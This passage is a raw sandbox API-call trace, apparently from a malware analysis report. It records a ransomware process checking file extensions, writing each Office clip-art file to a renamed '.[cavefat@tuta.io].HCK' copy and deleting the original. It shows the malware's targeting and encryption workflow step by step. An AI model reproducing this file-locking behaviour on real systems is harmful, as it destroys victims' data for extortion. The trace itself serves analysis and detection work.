[0180.618] lstrlenW (lpString=".zip") returned 4 [0180.618] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.618] lstrlenW (lpString=".rar") returned 4 [0180.618] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.618] lstrlenW (lpString=".bz2") returned 4 [0180.618] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.618] lstrlenW (lpString=".7z") returned 3 [0180.618] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.618] lstrlenW (lpString=".dbf") returned 4 [0180.618] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.618] lstrlenW (lpString=".1cd") returned 4 [0180.618] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.618] lstrlenW (lpString=".jpg") returned 4 [0180.618] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.618] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.618] lstrlenW (lpString=".doc") returned 4 [0180.618] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.618] lstrlenW (lpString=".docx") returned 5 [0180.618] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.618] lstrlenW (lpString=".pdf") returned 4 [0180.618] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.618] lstrlenW (lpString=".xls") returned 4 [0180.618] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.618] lstrlenW (lpString=".xlsx") returned 5 [0180.619] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.619] lstrlenW (lpString=".ppt") returned 4 [0180.619] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.619] lstrlenW (lpString=".zip") returned 4 [0180.619] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.619] lstrlenW (lpString=".rar") returned 4 [0180.619] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.619] lstrlenW (lpString=".bz2") returned 4 [0180.619] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.619] lstrlenW (lpString=".7z") returned 3 [0180.619] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.619] lstrlenW (lpString=".dbf") returned 4 [0180.619] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.619] lstrlenW (lpString=".1cd") returned 4 [0180.619] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.619] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00668_.WMF") returned 68 [0180.619] lstrlenW (lpString=".jpg") returned 4 [0180.619] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.619] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.619] lstrlenW (lpString="SO00694_.WMF") returned 12 [0180.619] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0180.620] GetFileSizeEx (in: hFile=0x370, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=25346) returned 1 [0180.620] CloseHandle (hObject=0x370) returned 1 [0180.620] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf")) returned 0x220 [0180.623] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.623] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.625] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.625] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.625] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.629] GetLastError () returned 0x0 [0180.629] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x6302, lpOverlapped=0x0) returned 1 [0180.632] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6310, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6310, lpOverlapped=0x0) returned 1 [0180.632] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.633] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.633] SetEndOfFile (hFile=0x39c) returned 1 [0180.634] CloseHandle (hObject=0x39c) returned 1 [0180.636] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.636] SetEndOfFile (hFile=0x2fc) returned 1 [0180.640] CloseHandle (hObject=0x2fc) returned 1 [0180.640] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.640] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00694_.wmf")) returned 1 [0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.641] lstrlenW (lpString=".doc") returned 4 [0180.641] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.641] lstrlenW (lpString=".docx") returned 5 [0180.641] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.641] lstrlenW (lpString=".pdf") returned 4 [0180.641] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.641] lstrlenW (lpString=".xls") returned 4 [0180.641] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.641] lstrlenW (lpString=".xlsx") returned 5 [0180.641] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.641] lstrlenW (lpString=".ppt") returned 4 [0180.641] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.641] lstrlenW (lpString=".zip") returned 4 [0180.641] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.641] lstrlenW (lpString=".rar") returned 4 [0180.641] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.641] lstrlenW (lpString=".bz2") returned 4 [0180.641] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.641] lstrlenW (lpString=".7z") returned 3 [0180.641] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.641] lstrlenW (lpString=".dbf") returned 4 [0180.641] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.641] lstrlenW (lpString=".1cd") returned 4 [0180.641] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.642] lstrlenW (lpString=".jpg") returned 4 [0180.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.642] lstrlenW (lpString=".doc") returned 4 [0180.642] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.642] lstrlenW (lpString=".docx") returned 5 [0180.642] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.642] lstrlenW (lpString=".pdf") returned 4 [0180.642] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.642] lstrlenW (lpString=".xls") returned 4 [0180.642] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.642] lstrlenW (lpString=".xlsx") returned 5 [0180.642] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.642] lstrlenW (lpString=".ppt") returned 4 [0180.642] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.642] lstrlenW (lpString=".zip") returned 4 [0180.642] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.642] lstrlenW (lpString=".rar") returned 4 [0180.642] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.642] lstrlenW (lpString=".bz2") returned 4 [0180.642] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.642] lstrlenW (lpString=".7z") returned 3 [0180.642] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.642] lstrlenW (lpString=".dbf") returned 4 [0180.642] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.642] lstrlenW (lpString=".1cd") returned 4 [0180.642] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00694_.WMF") returned 68 [0180.642] lstrlenW (lpString=".jpg") returned 4 [0180.642] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.642] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.642] lstrlenW (lpString="SO00732_.WMF") returned 12 [0180.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.644] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=5116) returned 1 [0180.644] CloseHandle (hObject=0x3a4) returned 1 [0180.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf")) returned 0x220 [0180.647] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.647] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0180.649] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.649] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.649] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0180.652] GetLastError () returned 0x0 [0180.652] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x13fc, lpOverlapped=0x0) returned 1 [0180.657] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1400, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1400, lpOverlapped=0x0) returned 1 [0180.658] ReadFile (in: hFile=0x2fc, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.658] WriteFile (in: hFile=0x300, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.658] SetEndOfFile (hFile=0x300) returned 1 [0180.660] CloseHandle (hObject=0x300) returned 1 [0180.660] SetFilePointerEx (in: hFile=0x2fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.660] SetEndOfFile (hFile=0x2fc) returned 1 [0180.661] CloseHandle (hObject=0x2fc) returned 1 [0180.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.661] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00732_.wmf")) returned 1 [0180.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.663] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.663] lstrlenW (lpString=".doc") returned 4 [0180.663] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.663] lstrlenW (lpString=".docx") returned 5 [0180.663] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.664] lstrlenW (lpString=".pdf") returned 4 [0180.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.664] lstrlenW (lpString=".xls") returned 4 [0180.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.664] lstrlenW (lpString=".xlsx") returned 5 [0180.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.664] lstrlenW (lpString=".ppt") returned 4 [0180.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.664] lstrlenW (lpString=".zip") returned 4 [0180.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.664] lstrlenW (lpString=".rar") returned 4 [0180.664] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.664] lstrlenW (lpString=".bz2") returned 4 [0180.664] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.664] lstrlenW (lpString=".7z") returned 3 [0180.664] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.664] lstrlenW (lpString=".dbf") returned 4 [0180.664] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.664] lstrlenW (lpString=".1cd") returned 4 [0180.664] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.664] lstrlenW (lpString=".jpg") returned 4 [0180.664] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.664] lstrlenW (lpString=".doc") returned 4 [0180.664] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.664] lstrlenW (lpString=".docx") returned 5 [0180.664] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.664] lstrlenW (lpString=".pdf") returned 4 [0180.664] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.664] lstrlenW (lpString=".xls") returned 4 [0180.664] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.664] lstrlenW (lpString=".xlsx") returned 5 [0180.664] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.664] lstrlenW (lpString=".ppt") returned 4 [0180.664] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.664] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.664] lstrlenW (lpString=".zip") returned 4 [0180.664] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.665] lstrlenW (lpString=".rar") returned 4 [0180.665] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.665] lstrlenW (lpString=".bz2") returned 4 [0180.665] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.665] lstrlenW (lpString=".7z") returned 3 [0180.665] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0180.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.665] lstrlenW (lpString=".dbf") returned 4 [0180.665] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0180.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.665] lstrlenW (lpString=".1cd") returned 4 [0180.665] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0180.665] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00732_.WMF") returned 68 [0180.665] lstrlenW (lpString=".jpg") returned 4 [0180.665] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0180.665] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0180.665] lstrlenW (lpString="SO00735_.WMF") returned 12 [0180.665] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0180.666] GetFileSizeEx (in: hFile=0x3a4, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=1484) returned 1 [0180.666] CloseHandle (hObject=0x3a4) returned 1 [0180.666] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf")) returned 0x220 [0180.668] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0180.670] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0180.673] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.673] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.673] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0180.675] GetLastError () returned 0x0 [0180.675] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x5cc, lpOverlapped=0x0) returned 1 [0180.677] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x5d0, lpOverlapped=0x0) returned 1 [0180.678] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0180.678] WriteFile (in: hFile=0x39c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0180.678] SetEndOfFile (hFile=0x39c) returned 1 [0180.679] CloseHandle (hObject=0x39c) returned 1 [0180.680] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0180.680] SetEndOfFile (hFile=0x368) returned 1 [0180.682] CloseHandle (hObject=0x368) returned 1 [0180.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0180.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\so00735_.wmf")) returned 1 [0180.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.690] lstrlenW (lpString=".doc") returned 4 [0180.690] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0180.690] lstrlenW (lpString=".docx") returned 5 [0180.690] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0180.690] lstrlenW (lpString=".pdf") returned 4 [0180.690] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0180.690] lstrlenW (lpString=".xls") returned 4 [0180.690] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0180.690] lstrlenW (lpString=".xlsx") returned 5 [0180.690] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0180.690] lstrlenW (lpString=".ppt") returned 4 [0180.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0180.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\SO00735_.WMF") returned 68 [0180.690] lstrlenW (lpString=".zip") returned 4 [0180.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0180.690] lstrlenW (lpString=".rar") returned 4 [0180.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0180.690] lstrlenW (lpString=".bz2") returned 4 [0180.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0180.690] lstrlenW (lpString=".7z") returned 3 [0180.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") 